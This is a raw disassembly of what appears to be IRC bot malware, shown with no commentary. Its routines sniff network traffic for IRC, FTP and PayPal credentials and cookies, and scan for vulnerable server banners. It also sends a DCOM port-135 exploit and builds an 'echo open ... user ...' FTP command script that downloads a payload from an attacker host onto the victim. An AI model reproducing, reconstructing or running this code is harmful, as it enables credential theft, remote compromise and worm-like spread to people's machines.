test eax, eax
pop ecx
jnz short loc_402BA8
push offset aPsniff_2 ; "[PSNIFF]:"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BA8
push offset aPsniff_1 ; "PSNIFF//"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BA8
push offset aJoin ; "JOIN #"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402BF4
loc_402BF0: ; CODE XREF: sub_402B92+71j
; sub_402B92+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_402BF4: ; CODE XREF: sub_402B92+5Cj
push offset a302 ; "302 "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset a366 ; "366 "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset a_login_0 ; ":.login"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset aLogin_0 ; ":!login"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset aLogin ; ":!Login"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset a_login ; ":.Login"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset a_ident ; ":.ident"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF0
push offset aIdent ; ":!ident"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz loc_402BF0
push offset a_hashin ; ":.hashin"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz loc_402BF0
push offset aHashin ; ":!hashin"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_402B92 endp
; =============== S U B R O U T I N E =======================================
sub_402CA9 proc near ; CODE XREF: sub_402E92+2F1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402CC3
loc_402CBF: ; CODE XREF: sub_402CA9+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_402CC3: ; CODE XREF: sub_402CA9+14j
push offset aSodoma_3 ; "##sodoma_3"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402CBF
push offset aOper_0 ; "OPER "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402CE9
loc_402CE5: ; CODE XREF: sub_402CA9+4Fj
; sub_402CA9+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_402CE9: ; CODE XREF: sub_402CA9+3Aj
push offset aNick_0 ; "NICK "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402CE5
push offset aOper ; "oper "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402CE5
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_402CA9 endp
; =============== S U B R O U T I N E =======================================
sub_402D1F proc near ; CODE XREF: sub_402E92+327p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402D39
loc_402D35: ; CODE XREF: sub_402D1F+29j
; sub_402D1F+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_402D39: ; CODE XREF: sub_402D1F+14j
push offset aSodoma_3 ; "##sodoma_3"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402D35
push offset aNick_0 ; "NICK "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402D35
push offset a220 ; "220 "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402D70
loc_402D6C: ; CODE XREF: sub_402D1F+60j
; sub_402D1F+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_402D70: ; CODE XREF: sub_402D1F+4Bj
push offset a230 ; "230 "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402D6C
push offset aUser_2 ; "USER "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402D6C
push offset aPass_0 ; "PASS "
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_402D1F endp
; =============== S U B R O U T I N E =======================================
sub_402DA6 proc near ; CODE XREF: sub_402E92+358p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402DC0
loc_402DBC: ; CODE XREF: sub_402DA6+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_402DC0: ; CODE XREF: sub_402DA6+14j
push offset aSodoma_3 ; "##sodoma_3"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402DBC
push offset aPaypal ; "paypal"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402DE6
loc_402DE2: ; CODE XREF: sub_402DA6+4Fj
; sub_402DA6+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_402DE6: ; CODE XREF: sub_402DA6+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402DE2
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402DE2
push offset aPaypal_com ; "paypal.com"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402DE2
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_402DA6 endp
; =============== S U B R O U T I N E =======================================
sub_402E2D proc near ; CODE XREF: sub_402E92:loc_403250p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402E47
loc_402E43: ; CODE XREF: sub_402E2D+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_402E47: ; CODE XREF: sub_402E2D+14j
push offset aSodoma_3 ; "##sodoma_3"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402E43
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402E6D
loc_402E69: ; CODE XREF: sub_402E2D+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_402E6D: ; CODE XREF: sub_402E2D+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402E69
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_402E2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E92 proc near ; DATA XREF: sub_40F6F1+1FCBo
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4413CC ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_44143C ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_417490
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_402F38
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_402F38: ; CODE XREF: sub_402E92+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4413E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_402FA7
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_424D58
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_402F8A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_40DC10
add esp, 14h
loc_402F8A: ; CODE XREF: sub_402E92+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_40C4F7
push [ebp+var_34]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_402FA7: ; CODE XREF: sub_402E92+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_441364 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_40302D
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_424D10
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_403009
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_40DC10
add esp, 14h
loc_403009: ; CODE XREF: sub_402E92+155j
lea eax, [ebp+var_2B8]
push eax
call sub_40C4F7
pop ecx
push edi
call dword_441450 ; closesocket
push [ebp+var_34]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_40302D: ; CODE XREF: sub_402E92+135j
mov esi, 200h
loc_403032: ; CODE XREF: sub_402E92+1CFj
; sub_402E92+1F4j ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4413D0 ; recv
cmp [ebp+var_113AF], 6
jnz short loc_403032
push [ebp+var_113A4]
mov edi, dword_4211F0
call edi ; ntohs
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; ntohs
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_403032
cmp [ebp+arg_0], 19h
jz short loc_403032
cmp edi, 6Eh
jz short loc_403032
cmp edi, 19h
jz short loc_403032
push [ebp+var_113AC]
call sub_402B83
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB3F41h
push eax
lea eax, [ebp+var_13B8]
push offset dword_42433C
push eax
call sub_4173AC
push [ebp+var_113A8]
call sub_402B83
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB3F41h
push eax
lea eax, [ebp+var_BB8]
push offset dword_42433C
push eax
call sub_4173AC
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_417AF0
add esp, 10h
test eax, eax
jle short loc_403130
loc_4030FC: ; CODE XREF: sub_402E92+29Cj
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_403113
mov byte ptr [eax], 20h
loc_403113: ; CODE XREF: sub_402E92+27Cj
cmp byte ptr [eax], 0Ah
jnz short loc_40311B
mov byte ptr [eax], 20h
loc_40311B: ; CODE XREF: sub_402E92+284j
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_417AF0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4030FC
loc_403130: ; CODE XREF: sub_402E92+268j
cmp [ebp+arg_0], 50h
jz loc_4031E3
cmp edi, 50h
jz loc_4031E3
lea eax, [ebp+var_1138C]
push eax
call sub_402B92
test al, al
pop ecx
jz short loc_403177
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset dword_42505C
jmp loc_403212
; ---------------------------------------------------------------------------
loc_403177: ; CODE XREF: sub_402E92+2C0j
cmp edi, 50h
jz short loc_4031E3
lea eax, [ebp+var_1138C]
push eax
call sub_402CA9
test al, al
pop ecx
jz short loc_4031AD
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_425018
jmp short loc_403212
; ---------------------------------------------------------------------------
loc_4031AD: ; CODE XREF: sub_402E92+2F9j
cmp edi, 50h
jz short loc_4031E3
lea eax, [ebp+var_1138C]
push eax
call sub_402D1F
test al, al
pop ecx
jz short loc_4031E3
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_424FD4
jmp short loc_403212
; ---------------------------------------------------------------------------
loc_4031E3: ; CODE XREF: sub_402E92+2A2j
; sub_402E92+2ABj ...
lea eax, [ebp+var_1138C]
push eax
call sub_402DA6
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_403250
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_424F90
loc_403212: ; CODE XREF: sub_402E92+2E0j
; sub_402E92+319j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41792A
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_403032
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_40DC10
add esp, 14h
jmp loc_403032
; ---------------------------------------------------------------------------
loc_403250: ; CODE XREF: sub_402E92+367j
call sub_402E2D
test al, al
pop ecx
jz loc_403032
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_424F4C
jmp short loc_403212
sub_402E92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40327E proc near ; CODE XREF: sub_4033C9+440p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
nop
call near ptr 71AB2BF4h
mov [ebp+var_10], eax
mov ax, word_425980
push eax
nop
call near ptr 71AB2B66h
push esi
push 1
push 2
mov [ebp+var_12], ax
nop
call near ptr 71AB3B91h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40339E
lea eax, [ebp+var_14]
push 10h
push eax
push edi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_40339E
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
nop
call near ptr 71AB615Ah
mov esi, offset byte_42EDC4
mov ebx, 190h
push esi
push esi
push offset aArrapato ; "arrapato"
push offset aArrapao ; "arrapao"
push offset a4492 ; "4492"
push offset dword_515634
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41792A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, dword_4211EC
call edi ; send
cmp eax, 0FFFFFFFFh
jz short loc_40339E
push 1F4h
nop
call near ptr 7C802442h
push esi
push offset dword_425A78
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4033A2
loc_40339E: ; CODE XREF: sub_40327E+54j
; sub_40327E+6Aj ...
xor al, al
jmp short loc_4033C4
; ---------------------------------------------------------------------------
loc_4033A2: ; CODE XREF: sub_40327E+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
nop
call near ptr 71AB615Ah
push [ebp+var_4]
nop
call near ptr 71AB9639h
mov al, 1
loc_4033C4: ; CODE XREF: sub_40327E+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40327E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033C9 proc near ; CODE XREF: sub_40381E+11Bp
; sub_40381E+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_417B70
mov eax, dword_425AF8
push ebx
mov [ebp+var_10], eax
mov eax, dword_425AFC
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_425AEC
push eax
call sub_4173AC
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_FF]
loc_403406: ; CODE XREF: sub_4033C9+4Dj
mov dl, [ebp+ecx+var_38]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_403406
push 60h
lea eax, [ebp+var_B0]
push offset dword_425590
push eax
call sub_417490
lea eax, [ebp+var_38]
push eax
call sub_417AF0
shl eax, 1
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_417490
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_417AF0
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_417490
lea eax, [ebp+var_38]
push eax
call sub_417AF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_417490
lea eax, [ebp+var_38]
push eax
call sub_417AF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_417490
mov ax, word_425980
add esp, 2Ch
push eax
nop
call near ptr 71AB2B66h
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_425290
call sub_417490
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_4035C0
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_417430
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_4259C0[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_417490
mov esi, offset loc_4251E0
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_417490
push 4
lea eax, [ebp+var_11A8]
push offset loc_425AE4
push eax
call sub_417490
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_417490
add esp, 40h
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_417490
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_47FF]
loc_403576: ; CODE XREF: sub_4033C9+1BFj
mov dl, [ebp+ecx+var_1CC0]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_403576
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_417430
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_417430
add esp, 18h
jmp short loc_403617
; ---------------------------------------------------------------------------
loc_4035C0: ; CODE XREF: sub_4033C9+115j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_417430
mov esi, offset loc_4251E0
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_417490
lea eax, [ebp+var_10]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_417490
mov eax, dword_4259C0
add esp, 2Ch
mov [ebp+var_764], eax
loc_403617: ; CODE XREF: sub_4033C9+1F5j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_417430
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, dword_4211EC
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403658
loc_403651: ; CODE XREF: sub_4033C9+2C0j
; sub_4033C9+2EBj ...
xor al, al
jmp loc_403819
; ---------------------------------------------------------------------------
loc_403658: ; CODE XREF: sub_4033C9+286j
mov edi, dword_4211E8
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 68h
push offset dword_4255F4
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_403651
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0A0h
push offset dword_425660
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_403651
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
cmp [ebp+arg_C0], 0
jz loc_403784
push 68h
lea eax, [ebp+var_89B0]
push offset dword_425818
push eax
call sub_417490
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_417490
push 70h
lea eax, [ebp+var_68D8]
push offset dword_425884
push eax
call sub_417490
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_417490
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_4258F8
push eax
call sub_417490
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_403651
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_4037DC
; ---------------------------------------------------------------------------
loc_403784: ; CODE XREF: sub_4033C9+306j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_425704
push eax
call sub_417490
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_417490
push 90h
lea eax, [ebp+var_2458]
push offset off_425784
push eax
call sub_417490
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_4037DC: ; CODE XREF: sub_4033C9+3B9j
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_403651
push 12Ch
nop
call near ptr 7C802442h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40327E
add esp, 0BCh
test al, al
setnz al
loc_403819: ; CODE XREF: sub_4033C9+28Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4033C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40381E proc near ; CODE XREF: ___:00404931p
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_417430
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
nop
call near ptr 71AB2BF4h
push [ebp+arg_A0]
mov [ebp+var_14], eax
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [ebp+var_16], ax
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_40391B
lea eax, [ebp+var_18]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_40391B
mov ebx, dword_4211EC
push edi
push 89h
push offset dword_425378
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_40391B
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, dword_4211E8
call esi ; recv
push 0
push 0A8h
push offset dword_425404
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_40391B
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi ; recv
push 0
push 0DEh
push offset dword_4254B0
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_40391B
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi ; recv
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_403926
dec eax
jz short loc_403922
loc_40391B: ; CODE XREF: sub_40381E+57j
; sub_40381E+6Dj ...
xor eax, eax
jmp loc_4039E9
; ---------------------------------------------------------------------------
loc_403922: ; CODE XREF: sub_40381E+FBj
push 0
jmp short loc_40394A
; ---------------------------------------------------------------------------
loc_403926: ; CODE XREF: sub_40381E+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033C9
add esp, 0C4h
test al, al
jnz short loc_40396A
push 1
loc_40394A: ; CODE XREF: sub_40381E+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033C9
add esp, 0C4h
test al, al
jz short loc_403971
loc_40396A: ; CODE XREF: sub_40381E+128j
mov [ebp+var_8], 1
loc_403971: ; CODE XREF: sub_40381E+14Aj
push ebx
nop
call near ptr 71AB9639h
cmp [ebp+var_8], 0
jz short loc_4039E6
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_425B00
lea eax, [ebp+var_218]
push 200h
push eax
call sub_41792A
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_218]
push eax
call sub_40C4F7
mov eax, [ebp+arg_A8]
add esp, 2Ch
imul eax, 3Ch
inc dword_428C00[eax]
lea eax, dword_428C00[eax]
loc_4039E6: ; CODE XREF: sub_40381E+15Ej
push 1
pop eax
loc_4039E9: ; CODE XREF: sub_40381E+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_40381E endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
